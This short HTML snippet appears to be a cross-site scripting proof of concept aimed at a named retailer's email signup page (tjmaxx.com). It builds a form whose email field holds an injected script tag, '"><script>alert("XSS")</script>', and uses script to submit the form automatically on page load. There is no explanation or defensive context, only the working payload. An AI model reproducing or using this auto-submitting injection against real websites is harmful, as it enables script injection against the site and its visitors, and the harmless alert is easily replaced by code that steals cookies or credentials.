What is this?
txtEmail:
image1.x:
image1.y:
<form method='post' action='http://www.tjmaxx.com/email_main.asp'> txtEmail:<input input='text' value='"><script>alert("XSS")</script>' name='txtEmail' style='width:80%' /><br /> image1.x:<input input='text' value='0' name='image1.x' style='width:80%' /><br /> image1.y:<input input='text' value='0' name='image1.y' style='width:80%' /><br /> <input type='submit' value='submit' /><br /> </form> <script> document.forms[0].submit() </script>